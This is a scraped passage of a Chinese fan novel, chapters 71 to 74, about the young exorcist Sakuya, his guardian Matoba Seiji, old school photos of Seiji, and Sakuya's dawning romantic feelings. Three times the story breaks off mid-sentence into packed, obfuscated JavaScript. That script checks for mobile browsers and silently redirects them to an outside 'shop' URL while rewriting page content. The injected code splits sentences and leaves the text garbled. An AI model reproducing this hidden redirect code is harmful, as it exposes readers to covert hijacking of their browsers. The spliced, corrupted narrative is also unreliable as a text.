“算了,我对这些事也不感兴趣。”朔也果断地结束了这个话题。 所谓的家族联姻,除去利益这种无聊的因素,似乎再无其他任何意义了。 的场静司看着朔也脸上的神情,若有所思。 * 白夜叉的事情解决得非常迅速,佐藤家十分感激,出乎朔也预料的是,佐藤鹤子竟然一改之前固执的态度,亲自向朔也诚恳地道了歉。 “对不起,铃木君,之前对你十分失礼,还请原谅!” “没关系。”朔也安慰道:“其实佐藤小姐大概是受到了妖气的影响,有些妖怪的妖气会放大人类的负面情绪。” “无论如何,还是我失礼了。”佐藤鹤子又深深鞠了一躬。 朔也不想陷入这种不自在的社交场景,于是问道:“佐藤小姐联系七濑阿姨的时候,曾点名要我参与委托,我可以知道您这样做的原因吗?” “啊,这个啊。”佐藤鹤子露出微笑,有些不好意思地说道:“虽然那天对你说了那样失礼的话,但其实我觉得你非常可靠,所以希望你能参与到委托中。” 这个意料外的回答让朔也也有点不好意思起来,他挠了挠脸颊,“呃,谢谢你的信任。” 他这个样子让佐藤鹤子突然开心地笑起来,调侃道:“以后我得收回之前对的场家男人的评价了,铃木君是非常可靠又帅气的男孩子哦~” “诶?呃……” “抱歉,佐藤小姐,我们该告辞了。” 的场静司走了过来,彬彬有礼地辞行。 佐藤鹤子顿时收敛表情、端正仪态,和的场静司寒暄几句,然后目送对方揽着少年一同离开。 哼,这个男人,果然是有着石头心肠的美人。 71.第七十一章 影像 * 在结束佐藤家委托的几天后,朔也悄悄拜访了这次委托中的另一位当事人——渡边先生。 “铃木君,快进来吧!” 渡边本来就是个自来熟,在有了一起“深夜捉妖”的经历后,他对朔也更加热络。 “想喝什么?啤酒要吗?” 朔也惊讶地看了他一眼,“渡边先生,怂恿未成年人喝酒是违法的。” “啊!抱歉抱歉!”渡边拍了下自己的额头,懊恼地说道:“因为你给人的感觉太可靠,我下意识把你当同龄人了。” 佐藤鹤子夸朔也可靠的时候,朔也还挺开心的,但这种话从渡边嘴里说出来,朔也不会觉得是自己太可靠,而是渡边先生太不靠谱了。 毕竟,这可是个高中时期会偷拍学弟照片以此赚取零花钱的家伙。 直到现在,朔也想起渡边那天坦白的话依然觉得震惊。 渡边比的场静司年长一岁,的场静司进入高中部的时候,他已经高二了,是摄影部的成员。 按照渡边的话说,所有的罪恶都源于一次体育祭。 摄影部在体育祭这类校园活动中承担拍摄职责,渡边自然也得参与拍摄。凑巧的是,他负责拍摄的项目与的场静司参加的项目高度重合,而摄影师的镜头总会不自觉地偏爱人群里亮眼的存在,所以渡边无意中拍下了许多的场静司的照片。 体育祭结束后,摄影部展出了活动照片,然后就有几个女生找到渡边,想找他要几张的场静司的照片,就算花钱买也可以。 这次交易为渡边打开了新世界的大门,从此他就走上了一条不归路——开始蹲点拍摄学校里的风云人物,然后卖给他们的粉丝,时间久了之后,甚至有外校的粉丝来找他。 “生意”越做越大,渡边怕被人发现,就把交易的地方改在了校外,那处他提到的废弃老宅就是交易地点之一。 那天,他带着和卖家约定好的照片集去了那里,其他都很顺利,唯独一个卖家迟迟未到,渡边在等她的时候不小心睡着了,等惊醒的时候就发现自己被困在了废宅里,直到的场静司出现,他才寻到机会跑了出去。 而他之所以那么仓皇逃跑,连招呼都不敢打,当然是觉得自己的“交易”被对方发现了。 虽然那之后的场静司并没有找他,就好像无事发生一样,渡边自己依然非常心虚,所以在担惊受怕一段时间后就把“生意”彻底停了。 只是从那以后,他在学校里很小心,远远地看见的场静司就会绕开,以至于现在碰到这位学弟还是会心虚,也正是因此才被朔也察觉出异样。 “铃木君,不要客气!” 朔也坐在客厅里,看着渡边把装满饮料的托盘放在他面前,牛奶、芬达、苏打水和三得利应有尽有。 见朔也拿过那瓶三得利,渡边就笑道:“我猜你肯定会拿这个。” 朔也有些无语,他打量了一圈四周,“你独居吗?” “是啊。”渡边给自己开了罐啤酒,“住在家里总被老头子念叨,还不如一个人自在。” 看着这座稍显冷清的高级公寓,朔也问道:“你和佐藤小姐结婚后,她会搬到这里来吗?” 渡边看了他一眼,说道:“我和鹤子的婚约取消了。” “诶?”朔也惊讶地看着他。 渡边笑了笑,不在意地说道:“是鹤子提出来的,她大概很介意这次的事,说是决定晚几年再考虑婚姻。” 朔也打量着渡边的神色,问道:“那你呢?” “我无所谓啊。”渡边显得十分随意,“我对婚姻没什么想法,父母安排对象我也不介意。” 朔也斟酌了一会儿,还是说道:“要放弃的话,现在是否太早了?” “嗯?”渡边愣了一下,突然笑道:“竟然被你这种小朋友教训了啊!” 朔也微微蹙眉,瞥了他一眼。 “哈哈哈,抱歉,又小看你了。”渡边笑着解释道:“我是真的没什么想法,婚姻也好,工作也好,未来也好……总觉得做什么、怎么做,都差不多。” 朔也想了想,表示理解地点点头,“明白了。” 虽然他熟悉的成年人都是可靠的大人,但也没人规定成年人一定得可靠。 听他这么回答,渡边反而好奇起来,“你明白什么了?” “因为一直没什么波折,做什么都很顺遂,所以觉得没什么趣味吧。”朔也随口说道:“就像玩游戏一样,如果关卡一点难度都没有,会连日常任务都懒得做哦。” 听了朔也的这番话,刚刚还嬉笑着显得有些轻浮的渡边忽然沉默下来。 朔也只以为对方又脱线了,他喝了口茶,问道:“说好的东西呢?” “啊,稍等!”渡边回过神,匆忙起身走去书房。 朔也站起来在客厅转了一圈,在照片墙前欣赏了一会儿。 “咯,都在这里了。”渡边拿过来一个移动硬盘递给朔也,“我没有复制备份,这里面是唯一的原件。” 朔也点了点头。 渡边还是有些不放心,确认道:“你真的不会告诉的场吧?” “不会,而且静司先生对这样的事大概也不感兴趣。”朔也看着他,“其实在那个废弃屋子里,是静司先生救了你,他说的‘滚’不是对你说的,是对那些你看不见的家伙们。” 渡边回忆了一下,表情复杂地说道:“听你这么一说,我都不知道哪种情况更可怕一些了。” 朔也没理他,把移动硬盘放进包里,又拿出一叠符咒,“作为交换,这是给你的符咒,我也会在这个公寓里设置结界。” “太好了,拜托你了!” 这间公寓不算大,朔也没花多少时间就设好了结界,渡边殷勤地端来了零食和水果。 朔也指了指照片墙,问道:“那些都是你拍的吗?” “是呀。” “你现在是摄影师?” “哈哈不是,都是无聊的时候拍的。” 朔也喝着茶,说道:“都很不错哎。” “咦?”渡边愣住,表情变得十分怪异。 “你这是什么表情?” “不知道为什么,被你夸会有种受宠若惊的感觉。” “……” 朔也实在搞不懂这类大人的想法,他喝完最后一点茶,站起身,“谢谢招待,我得回去了。” “啊,现在就走吗?需要我送你吗?” 朔也摆了摆手,他可不想鼻子上再贴一次创可贴。 * 从渡边家出来,朔也直接去了冲印店,半个小时后,他就拿到了一沓照片。 朔也本以为渡边拍了许多,但实际的数量比他以为的少很多,他猜测是静司先生十分警觉的缘故,渡边只能非常小心地寻找合适的时机。 坐在电车的角落里,朔也仔细地翻看着照片。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002124|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是静司先生的高中时代。 是的场静司的人生中,朔也既熟悉又陌生的那一段。 那时朔也刚适应的场家的生活,正努力地从周围一切人和事中抽取最熟悉和稳定的那部分,以满足自己的安全感。 而的场静司就是他最大的安全感来源。 在那个阶段,只要对方在本宅内,他就会有意或无意地成为对方的小尾巴。 如今回想起来,朔也觉得很不可思议,作为高中生的的场静司竟然可以对还是小孩子的他抱有无止尽的耐心和温柔。 所以在他的印象里,那个时期的场静司已经具有可靠成年人的风范了。 但此刻他手里的照片,却是另一面的切片。 数码照片抹去了时空的痕迹,少年穿着和朔也现在所穿的一样的制服,出现在校园里时,像是随时会和他擦肩而过的同级生,只是这位同学神情淡漠、气质孤傲,就算做出微笑的模样,眼神也清冷而疏离。 朔也久久地盯着照片,突然明白为什么会有人愿意花钱购买这些,少年的场静司大概是她们心中的“高岭之花”,令人憧憬却难以亲近,保留影像大概是最靠近对方的方式了。 不过这样的距离感从未在他和的场静司之间出现过,从两人在医院第一次见面开始,的场静司都显得直率而亲切。 所以,现在看着这些照片,朔也就好像跳出了两人固有的关系,得以从另一个视角重新观察自己再熟悉不过的人。 这种视角转换带来的陌生感,让朔也心里莫名生出一种难言的悸动。 照片里的的场静司,有时在上课,看表情似乎是觉得有些无聊;有时在运动场,微湿着头发,踢球时的神情十分专注;有时在图书馆,靠着书架翻着书页,沉静得仿佛与周遭隔绝;有时走过走廊,不经意望向窗外的侧脸在阳光下美得近乎失真…… 渡边的摄影水平确实不错,他镜头之中的少年静司,鲜活、孤独又神秘,有种特别的魅力。 朔也一张张地看着手里的照片,不知怎么的,越看越心神不宁。 直至翻看到最后一张照片,他倒吸一口凉气,几乎屏住呼吸。 这张照片明显是在距离很近的情况下拍摄的,照片里的人穿着华丽的欧洲宫廷礼服,大概是在某个学园活动中扮演类似王子的角色,虽然着装看上去彬彬有礼,镜头中的人却表现出截然相反的神态。 少年黑色的头发被疏向脑后定型,整张脸都露了出来,俊丽到显得咄咄逼人,他微微转头,视角看向斜下方,漫不经心地瞥向正对准他的镜头,眼神冷漠锐利,神情里带着隐隐的不耐和厌烦,看上去傲慢又冷酷,十分危险。 这是的场静司绝不会冲朔也展露的姿态和神情。 但它却像一支利箭,直直地射进了朔也的心脏。 朔也猛地捂住照片,接着又慌乱地捂住自己的脸。 他的手指能感受到自己脸上快速升起的温度,这让他甚至生起自己的气来。 只是一张照片而已!有什么好脸红的! 虽然这么想着,朔也的脸却在双手里埋得更深。 但即便他闭着眼睛,那张照片却像被谁施了咒一样,在他的脑海里挥之不去,让他忍不住痛苦地呻吟出声。 啊啊啊!太过头了!那张照片…… 难道他是什么很变态的家伙吗? 竟然对着一张那样的照片……怦然心动。 完蛋了! 72.第七十二章 异样 * 朔也曾经在某本民俗读物里看到过这样一个故事。 樵夫在山中砍柴时救了一位迷路的女子,为了报答他,女子与他结为夫妻,两人十分恩爱,生活平静安乐。某天一位僧侣路过村庄到樵夫家化缘,当他见到那个女子时露出了十分惊讶的神情,樵夫很好奇,私下里询问缘由。 僧侣原本闭口不谈,但禁不住樵夫的恳求,于是给了他一面镜子,告诉樵夫通过镜子即可看见女子的另一面。但僧侣临走前叮嘱樵夫,若他看到女子的另一种样子,就再也无法继续原有的生活了。樵夫不舍现在的生活,但犹豫良久,还是抵挡不住自己的好奇,忍不住使用了那面镜子。 镜子里映照出的女子,是一只熊的模样。 女子见到镜中的自己,顿时化为黑熊逃入了山中,樵夫失去了妻子,再也回不到过去的日子,他十分后悔,日益思念妻子,最后他砸碎镜子,进入山里,再也没有出来。 朔也曾觉得这只是个平平无奇的小故事,但现在,他突然回想起这个故事中僧侣的忠告,却觉得像是某种寓言——如果看到了,就再也无法继续原有的生活了。 是啊,他看到了那个不曾见过的静司先生,就再也无法回到之前了。 朔也盘腿坐在榻榻米上,双手抱在胸前,表情严肃,直直地盯着对面的收纳架。 那些他仅看过一遍的照片,被他和那个移动硬盘一起藏在了收纳架下层最隐蔽的角落,并被厚厚的大部头工具书遮挡了起来,保证除了他以外没人能够找到。 但这有什么用呢? 那些照片就像在他的脑袋里驻扎下来一样顽固,时不时地就随机浮现,闹得他心神不宁、坐立难安。 更不用说昨晚让他夜半惊醒的梦境,羞耻到他根本不敢面对自己的良心。 对于男性独有的那些生理知识,朔也当然十分清楚,立志学医的飒真还和他一起讨论过。 而每个男子高中生该有的生理现象他也都有,发生时也只当是正常的事情,从不会多想。 但,当这样的事和自己亲近的人联系起来,朔也就算再迟钝也知道不对劲。 他有种自己亵渎了对方的罪恶感。 以及,不知如何是好的惶恐不安。 他对静司先生的感情,到底是怎么回事呢? 这样是正常的吗?如果静司先生发现了怎么办?知道自己的那些……想法,静司先生会生气吗?会讨厌他吗?…… 各种未知和不确定的问题如潮水般涌来,让朔也陷入从未有过的恐慌。 这样的状态肯定是不行的。 那接下来,他该怎么办呢…… “朔也少爷,有客人过来了,想见你呢。”门外传来千夏的声音,“你要过去打招呼吗?” 朔也回过神,拍了拍脸,努力让自己打起精神。 “千夏,我马上过去!” * 来拜访的客人是佐藤一家,他们为此前退治妖怪的事情来表达谢意,大概还有借此机会拉近关系的意思。 朔也和佐藤莉子认识,于是承担起了招待的责任,带着好奇的莉子在宅院里逛了逛。 “这里和我想象的不太一样。”莉子感叹道:“我还以为可以看到什么神秘的东西呢。” 朔也看着远处同门身后跟着的式神,笑了笑,“凡是能看见的东西就很难显得神秘了。” “朔也和我以为的也不太一样。” “嗯?”朔也疑惑地看向莉子。 “最开始我还以为你是个冷淡的人,这次才发现你其实亲切又温柔。”莉子笑着说道:“所以那次交换联系方式后,你没有回复我的消息,果然是因为那时的我的让你讨厌了吧?” “诶?”朔也愣了一下,解释道:“不是的,我只是……不太擅长处理那样的事情……” 朔也不好解释自己因为乱给电话号码而导致的“后遗症”,但回想起当时的情形,他的心底突然有一个声音冒了出来。 「是的,你当时其实有些抗拒,但你抗拒的不是莉子……」 「而是那个“很喜欢的场先生的姐姐”。」 朔也的心跳错乱了一拍,他试图对着那个声音辩解,那是源于每个人都会有的,对自己亲近之人的占有欲,那是正常的。 「呵,自欺欺人。」 “哈哈,我开玩笑的。” 莉子的笑声让朔也回过神,他有些懊恼自己的心不在焉,努力抹去脑子里的胡思乱想。 两人逛了一会儿,差不多要到佐藤家离开的时间了,朔也带着莉子穿过庭院走向主屋。 “啊。” 莉子突然轻呼一声,停下了脚步。 朔也跟着她的目光所指望过去,垂在身侧的手突然颤抖了一下。 在不远处,靠近庭院的外廊上,的场静司正和佐藤鹤子站在一起。 “姐姐应该是在对的场先生告白吧,她总是比我更有勇气……”莉子轻声说道,有些羡慕。 朔也没吭声,他的注意力都放在了不远处的年轻男女身上,他们在一起时,就像爱情影视剧中的男女主角,十分般配。 从朔也的角度望过去,看到的是的场静司的侧脸,因为看不清对方的表情,他只能通过青年微微上翘的嘴角来判断对方此时的情绪——应该是不讨厌的吧? 也是,佐藤小姐很漂亮,性格直爽,绝不是个惹人讨厌的人。 更何况,比起对待渡边先生的态度,佐藤小姐对待自己喜欢的人肯定会不一样…… 比起毫无感情基础的联姻对象,真心喜欢着自己的对象显然更好,不是吗? 静司先生会答应么? “朔也?” “啊,抱歉。”朔也反应过来。 “很意外吗?”莉子微笑着解释道:“其实我姐姐从很早之前就开始喜欢的场先生了,但的场先生看上去实在难以接近,姐姐只是表现出了些许亲近的意思,就被委婉地拒绝了。” “不过……”莉子看向佐藤鹤子,“这次的事情让姐姐的想法有些变化,无论结果如何,她都想认真地传达自己的心意。” 朔也收回目光,忽然想尽快离开这里。 “朔也有喜欢的人吗?” 突如其来的发问让朔也怔愣了一瞬。 “抱歉,我太好奇了。”莉子有些不好意思地说道:“如果不方便回答的话……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006344|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“怎么才能确定自己真的喜欢上了某个人?” “咦?”这次换莉子愣住了,她有些意外地回道:“会不确定吗?” “人的情感是很复杂的。”朔也纠结地蹙眉,“即便某个瞬间有类似‘心动’的感受,也不一定是恋心,不是吗?” “嗯……”莉子想了想,说道:“但真正的恋心是无法隐藏的,时间再稍微久一点,肯定就会明白的。” “是这样么……”朔也皱着眉,心里的那个声音又冒了出来。 「听见了吗?别再自欺欺人了!」 「你的“不确定”不过是为了逃避真相罢了,胆小鬼!」 “好好奇啊,能被朔也喜欢的人,会是什么样的呢?” 莉子的这句话比起询问更像是一句感叹。 朔也本能地抬眼望向的场静司的身影,在看清青年嘴角的笑意后,他再次收回视线。 “莉子,今天的下午茶很不错,要去尝尝吗?” “啊,好呀!” * 送走客人,的场静司看向一旁的少年。 “怎么了,朔也?” “嗯?” “没什么精神的样子,是哪里不舒服吗?” 的场静司抬起手,想去试探朔也额头的温度。 朔也紧张地向后退了一大步,“呃,没事!” 的场静司的手顿了一下,收了回来,他怀疑地问道:“真的没问题吗?” 朔也不敢对上的场静司的视线,甚至,他都不敢看对方的脸,目光游移着摇摇头,“没问题,我很好。” 就在的场静司想继续问些什么的时候,朔也说道:“静司先生,我去做作业了!” 的场静司狐疑地看着少年快速离开的背影,朔也确实学习很认真,但一般只有在想回避什么的时候才会用这种借口。 再联想起从昨晚开始就安静地有些不寻常的朔也,的场静司越发觉出不对劲来。 是发生了什么事吗?还是遇到什么麻烦了? * “昨天?” 七濑回想了一会儿,无奈地说道:“我只知道朔也确实有出门,但他没让司机接送,大概是去见朋友了吧。” “是么?” 的场静司沉默了一会儿。 七濑打量着他的神情,皱眉道:“静司,你不会打算去查朔也的消费记录吧?” 的场静司看了七濑一眼,微笑道:“原来在七濑桑心里,我是会这么做的人吗?” 七濑叹息一声,“如果想知道什么的话,直接问朔也不就好了?那孩子从来不会对你隐瞒。” “我觉得……这次有点不一样。”的场静司思忖道。 “就算有什么不一样,也不一定非得追根问底。”七濑劝道:“朔也已经是个大孩子了,会有自己的秘密很正常,你在这么大的时候,不也讨厌大人们对你干涉太多吗?” 在这件事上,七濑可是最有发言权,和那时的的场静司相比,朔也简直是所有家长都梦寐以求的好孩子。 其实就算七濑不点明这些,的场静司也知道是自己的控制欲又在作祟了,他暗暗叹了口气。 “我明白。” 73.第七十三章 别邸 * 朔也已经躲了的场静司好几天了。 他知道对方一定有所察觉,但不知道为什么,的场静司并没有来询问他的意思。 老实说,这让朔也稍微缓了口气,原本慌张的情绪慢慢平静了一些。 但问题依然存在,哪怕朔也假装不去理会,也只能暂时欺骗自己,他不可能一直躲着静司先生。 只是,对朔也来说,这是他长这么大碰到的唯一不知解法的难题。 就算面对再难缠的妖怪,他也能通过先辈的笔记找到封印方法,但现在,哪怕他翻遍图书馆,也不会有一本书设身处地地指导他应对并处理自己的感情。 “所以到底怎么了?”飒真放下手里的便当,严肃地看着朔也,“你知道你最近很奇怪吧?” “嗯。” 朔也无精打采地点点头。 飒真等了一会儿,见他依旧没有继续开口的意思,差点气笑了。 “你是做了什么十恶不赦的事所以才不敢说吗?” 朔也叹了口气,“差不多吧……” “哈?!”飒真瞪着他,“真的假的?” “我……”朔也张了张嘴,又不知道该怎么说出口。 飒真索性开始天马行空地瞎猜。 “你把一整年的零花钱都花完了?” “……不是。” “你……抽烟喝酒并打算逃学去做暴走族了?” “不是。” “那你……偷东西了?还是其他什么违法乱纪的事情?” “不是,我有这么坏吗?” “那你做什么了?”飒真百思不得其解,想了一会儿试探着问道:“你不会想要叛出的场家吧?” “哈?!”朔也瞪了他一眼,“你还真敢想!” 飒真有些委屈,“很多动画里都是这样的啊,本来是个好人,结果突然叛变成了大反派,这种可比一开始就站在对立面的敌人更可恨呢!” 朔也深深地叹了口气,迟疑了一会儿终于说道:“如果……我是说如果!” “嗯嗯。”飒真直点头,眼巴巴地看着他。 “如果喜欢上不该喜欢的人,要怎么办?” “哈?!!!” 飒真猛地站起身,食堂里的桌椅被他挤得发出刺耳的摩擦声,引来周围一片不满的目光。 赶紧道完歉,飒真坐下来,震惊地看向朔也。 “你刚刚说什么?” 朔也无语,“你明明听到了。” “我以为是我的幻听!” 飒真难以置信地搓了搓手,着急地发问:“你喜欢上谁了?是我们班的吗?还是高年级的?啊,等等,你说的是‘不该喜欢的人’……难道是老师?!” 朔也终于忍不住翻了个白眼。 “哦,不是老师啊……” 飒真的语气里竟然还带着些遗憾,他努力想了一会儿,突然一个激灵。 “你喜欢上同性了?” 不等朔也反应,飒真就自己摇了摇头,“喜欢同性也没什么该不该的吧……等一下,你不会是——” 朔也警惕地看着他。 “喜欢上我了吧?”飒真表情惊恐。 “你想得美!”朔也咬牙。 “别!这我可不敢想!”飒真心有余悸地摸了摸胳膊上的鸡皮疙瘩,“吓死我了。” 被飒真这么折腾了一番,朔也已经不做指望了,索性默默喝起了茶。 “所以到底是谁啊?”飒真好奇得不得了,“喜欢就喜欢了呗,要不去告白试试?” 朔也连白眼都懒得给他了,“都说了不该喜欢了。” “但感情这种事没法论对错吧?喜欢上一个人本来就不是由理性决定的,也不由自己控制,发生了就是发生了。” 朔也有些意外地看了飒真一眼。 “别小看我啊!我虽然没有谈过恋爱,但暗恋过哦!”飒真得意了几秒,而后补充道:“在幼稚园的时候。” “呵。” “那你打算怎么办?”飒真不服气地问道。 朔也沉默了一会儿,困扰地问道:“没有什么办法能消除这样的感情吗?” 飒真没说话。 朔也抬眼看他,吓了一跳。 “你在干嘛?” 飒真蹙眉看着朔也,一脸心疼地说道:“朔也,这样想的话也太可怜了吧……” “你正常点说话,这样好恶心。”朔也很是嫌恶。 飒真的表情顿时变得正经起来,“我是说真的。” 朔也哼了一声。 “虽然不知道你到底喜欢上了谁,啊,得换个说话——虽然不知道谁那么幸运被你喜欢上了,你的这份恋心都是很珍贵的,为什么要消除它呢?” “喜欢一个人本身就是很幸福的,虽然也会有酸涩甚至痛苦的时候,但经历过后你就会觉得,那也是幸福的一部分。” 说到这里,飒真竟然有些羡慕起来,“据说有很多人终其一生都体会不到那种纯粹的爱一个人的感觉,你现在就能体会到,已经是个超级幸运的家伙了!” 朔也若有所思地看了他几眼,“总觉得这些不像是你会说出来的话。” 飒真得意地笑了一声,“你以为我的恋爱游戏是白玩的吗?” 朔也开始认真反省,他竟然妄想从这个家伙这里得到有用的建议,病急乱投医说的就是他吧。 * 熬到放学,甩开像苍蝇一样围着他想撬出八卦的飒真,朔也坐进车里,疲惫地呼出一口气。 “哦呀,看来很辛苦呢,朔也。” “哇!” 朔也被突然出现的熟悉声音吓了一跳,心差点从嗓子眼里蹦出来。 “静、静司先生?!” “嗯哼~” 的场静司微笑着看着朔也,“现在倒是显得精神一些了。” 朔也很是错愕,“静司先生怎么在这里?” “来接你放学啊。” 的场静司的声音里虽然带着笑意,却莫名显得有些哀怨。 “朔也最近都不愿意和我说话,我只能自己找机会了。” “什、什么啊……”朔也心虚地呢喃着,不敢看对方。 的场静司打量着他的神情,笑道:“朔也如果不忙的话,要不要和我去一个地方呢?” “呃,什么地方?” “要去吗?” 虽然最近很害怕和的场静司待在一起,但好奇心终究盖过了一切,朔也点了点头。 * 不知道车具体开了多久,等朔也醒来时,夕阳已经照进了车里。 他原本只是为了避免和的场静司说太多话从而暴露自己,所以故意装睡,但不知道是不是最近心神不定没有睡好,他竟然真的在车上睡着了,而且还睡到霸占了后面一整排空间。 等等,一整排? 朔也瞬间清醒过来,他慌乱地爬起身,红着脸扫了一眼被自己当成枕头的的场静司的腿,确定自己没流口水才悄悄松了口气。 “静司先生怎么不叫醒我……”朔也很是难为情。 “睡着的朔也太可爱了。”的场静司笑道:“实在不忍心叫醒你。” 朔也本就红着的脸瞬间又红了几分,以前被对方调侃的时候,无知无觉的他还能抱怨几句,现在却一句话都不敢说。 他紧紧地抿着嘴巴,逃一样地下了车。 深秋的晚风吹散了脸上的热度,朔也打量着眼前这栋漂亮的小别墅,有些疑惑。 “朔也,进来吧,这里是我的别邸。” “别邸?”朔也跟着的场静司走进了前院。 “嗯,这是我母亲婚前独居的地方,我成年后她就转交给了我。”的场静司推开大门,解释道:“之前一直在重新修整,最近正好完工,所以想带你来看看。” 别墅是典型的法式风格,不过比朔也在佐藤家见到的更复古一些,看上去非常精致典雅。 今天的的场静司穿着西装,站在这样风格的房子里,本就显得矜贵的气质愈发突出。 朔也瞬间想起了那张照片,如果…… “朔也?” 脑海里的遐想被“正主”打断,朔也心虚得不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011437|189987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “啊?呃,抱歉!” 的场静司微微笑了笑,没有追问缘由,“其他确实没什么好看的,不如去你的房间看看吧。” “诶?”朔也疑惑地抬起头,“我的房间?” “嗯,以后朔也如果在本宅待腻了,可以过来这边居住。” “诶??”朔也还没反应过来,“可是这不是静司先生的别邸吗?” “是啊。”的场静司回头看向他,“我居住的地方自然得有朔也的房间。” 朔也瞪大眼睛,“但如果静司先生结婚了的话,不是会和对方搬到这里来吗……” “哦呀,朔也竟然会担心这种事?”的场静司轻笑出声,“的场家的女主人会有其他住处。” 朔也有些困惑。 “觉得这种安排很奇怪?” 朔也眨了眨眼,点点头。 的场静司有一瞬间的犹豫,他并不太想告诉朔也这些,但看着朔也的眼睛,他还是解释道:“对有些家族来说,婚姻是为了寻找一位合适的女主人,承担起许多内部事务以及社交的职责。但的场家认为婚姻最重要的是延续血脉,比起能干的妻子,更需要可以诞下力量强大的子嗣的女性。” “因为子嗣非常重要,而的场家的当家又时常被妖怪袭击,所以为了保护孩子,会将母亲安置在更安全的地方。” 朔也慢慢皱起眉头,“这样不就是在利用……”那位女性吗? 后半截话被他吞了回去,但少年的表情说明了一切。 的场静司了然,“觉得这样的做法非常卑鄙,是么?” 朔也没有说话,但闷闷地点了点头。 朔也坦诚的态度让的场静司弯起嘴角,他能理解家族为什么这么做,但并不喜欢。 他一直拒绝族内的相亲安排,对长辈们关于联姻的建议一概置之不理,除了他目前对婚姻确实不感兴趣外,也是因为他并不赞成家族在婚姻方面的观念。 说来可能有些奇怪,的场静司会这么想其实和朔也多少有点关联。 在他拒绝了几次相亲后,族内某些长辈情急之下,甚至说出了“如果那孩子是女孩就好了”的荒唐话。 “那孩子”指的是朔也。 朔也力量强大,非常优秀,又是在的场家长大的,和的场静司的感情极好,若朔也是女孩,的场家估计早早就会给两人订下婚约。 正因为这种假设如果成立,可行性实在太高,的场静司最开始听到那种话时,甚至没觉得有什么不对,直到他顺着设想将自己和朔也代入自己父母的境况时,才生出一种不适来。 的场静司的母亲在婚前并不是那种循规蹈矩的大家闺秀,她曾留学多年,非常独立,性格也很坚韧,虽然她和静司的父亲是相亲认识的,但两人其实算是恋爱结婚,婚后两人感情也一直不错。 即便这样的婚姻在大部分人看来没什么不好,但的场静司完全无法将朔也代入其中,在他看来,即使朔也是女孩,也不应因步入婚姻发生改变,而是得像他一直期望的那样,站在他身边,做任何朔也自己想做的事。 很难说这种想法是否就是的场静司心中“理想婚姻”的状态,但确实正是这种想法让的场静司对家族期望的“传统婚姻”更加排斥起来。 虽然朔也和他有着同样不赞成的态度,但毕竟两人的出发点不一样,的场静司难免有些好奇。 “如果是朔也的话,会怎么做呢?” 朔也没有任何犹豫,“我不会结婚。” 的场静司挑眉,“就算首领有延续血脉的责任,也不结婚吗?” “嗯,不会。”朔也的态度没有丝毫的动摇。 的场静司仔细地研究着朔也的表情,总觉得有些不对劲,朔也对婚姻的态度似乎过于排斥了。 上次在民宿时,朔也曾坚定的表示不会结婚并养育后代,他还以为只是青春期少年的突发奇想。 但这一次…… “静司先生,我的房间在哪儿?”朔也有些生硬地转移了话题。 看出朔也的回避,的场静司没有再继续追问。 “去三楼吧。” 74.第七十四章 樟树 * 小别墅有三层,外带地下室和阁楼。 朔也原本以为的场静司为自己安排的房间是三楼中的某一间,但到三楼逛了一圈才发现并非如此。 “原本想将朔也的房间安排在二楼,但主卧旁边的空间太小了。”的场静司微笑道:“三楼的视野更开阔,空间也合适,可以满足更多功能。” 朔也看着眼前囊括起居室、会客室、书房、卧室,外加一个露台的大套间,一时不知道该说什么,如果光看空间面积的话,不知道的人大概会以为他才是这栋别墅的主人吧。 “怎么样,喜欢吗?” 在的场静司带着笑意的温柔注视里,朔也肯定地点点头,接着又有些迟疑地嘟囔道:“但有种被静司先生过度溺爱的感觉……” “这样不好吗?” 的场静司倒不觉得自己的安排有什么过度的地方,本宅那边因为要兼顾许多使用场景,住起来其实不算特别舒适,尤其对朔也来说,未成年时还好,成年后自然需要更多独处的空间。 虽然为朔也安排独居的住宅并不麻烦,但那样会让的场静司很难放心,思来想去,放在自己的别邸才是最合适的,但这些考量就不需要和朔也细说了。 “啊,还有一件事,需要朔也帮忙。” 朔也疑惑地点头,然后跟着的场静司下楼到了后院。 “这个……是樟树树苗?”看着眼前的树苗和一旁的工具,朔也好奇道:“是要种植吗?” 的场静司微笑着,意有所指地说道:“有人对我说‘可以像树一样’,虽然我能理解,但觉得还是再种一颗真正的树作为‘形代’更安心。” 朔也怔愣一瞬才回想起自己曾说过的话,那是在他因为凶面受伤之后对非常担心的静司先生说的。 他张了张嘴,想说些什么又很词穷,他不知道即使是自己随口说出的话,对方也会记在心里,并给出惊人的回应。 “怎么了?”的场静司看了看迟迟未说话的朔也,“不喜欢樟树吗?” “呃、不是,我很喜欢!”朔也慌张地摆了摆手,愣愣地说道:“我只是没想到……” “啊,其实我有和你提过哦。”的场静司笑道。 “诶?!什么时候?” 